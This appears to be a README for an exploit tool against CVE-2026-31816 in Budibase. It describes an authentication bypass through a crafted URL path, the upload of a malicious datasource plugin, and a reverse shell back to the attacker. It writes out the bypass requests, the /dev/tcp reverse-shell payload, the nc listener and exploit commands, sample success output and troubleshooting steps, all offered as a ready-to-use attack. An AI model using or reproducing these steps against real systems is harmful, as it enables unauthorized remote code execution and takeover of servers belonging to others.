imjdl/cve-2026-31816-rshellExploits CVE-2026-31816 in Budibase to bypass authentication, upload a malicious datasource plugin, and execute a reverse shell for remote access.
This tool exploits CVE-2026-31816 to establish a reverse shell connection on a target Budibase server.
Attack Chain: Authentication Bypass → Upload DATASOURCE Plugin → Server-side Code Execution → Reverse Shell
requests library (pip install requests)# 1. Start listener on attacker machine
nc -lvnp 4444
# 2. Run exploit (another terminal)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444
| Parameter | Required | Description |
|---|---|---|
-t, --target | ✅ | Target Budibase URL |
--lhost | ✅ | Listener host (your IP) |
--lport | ❌ | Listener port (default: 4444) |
# Attacker IP: 192.168.1.100
# Target Budibase: 192.168.1.128:10000
# Terminal 1 - Start listener
nc -lvnp 4444
# Terminal 2 - Run exploit
python3 CVE-2026-31816-rshell.py \
-t http://192.168.1.128:10000 \
--lhost 192.168.1.100 \
--lport 4444
GET /api/integrations?/webhooks/trigger
If returns 200, target is vulnerable to authentication bypass.
{
"type": "datasource",
"schema": { ... }
}
DATASOURCE type plugins execute JavaScript code on the server.
// Executed when plugin is validated:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
POST /api/plugin/upload?/webhooks/trigger
Upload plugin bypassing authentication. Code executes during validation.
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Attacker │ │ Target │ │ Listener │
│ │ │ Server │ │ (nc) │
│ │ │ │ │ │
│ exploit ────┼────►│ Upload │ │ │
│ │ │ Plugin │ │ │
│ │ │ Execute │────►│ Listen │
│ │ │ Code │◄────┤ Reverse │
│ │ │ │ │ Connect │
└─────────────┘ └─────────────┘ └─────────────┘
============================================================
CVE-2026-31816 - Reverse Shell Exploit
============================================================
[*] Target: http://192.168.1.128:10000
[*] Reverse shell: 192.168.1.100:4444
[*] Checking vulnerability...
[+] Target is vulnerable!
[*] Creating reverse shell plugin targeting 192.168.1.100:4444
[*] Uploading reverse shell plugin...
[*] Status: 200
[+] Plugin installed successfully!
============================================================
[+] SUCCESS! Check your listener!
============================================================
Possible causes:
Solutions:
# Check network connectivity
ping YOUR_IP
# Check firewall
sudo ufw allow 4444/tcp
# Try different port
nc -lvnp 8080
Possible causes:
Solutions:
# Manually test if vulnerability exists
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# If returns JSON, vulnerability exists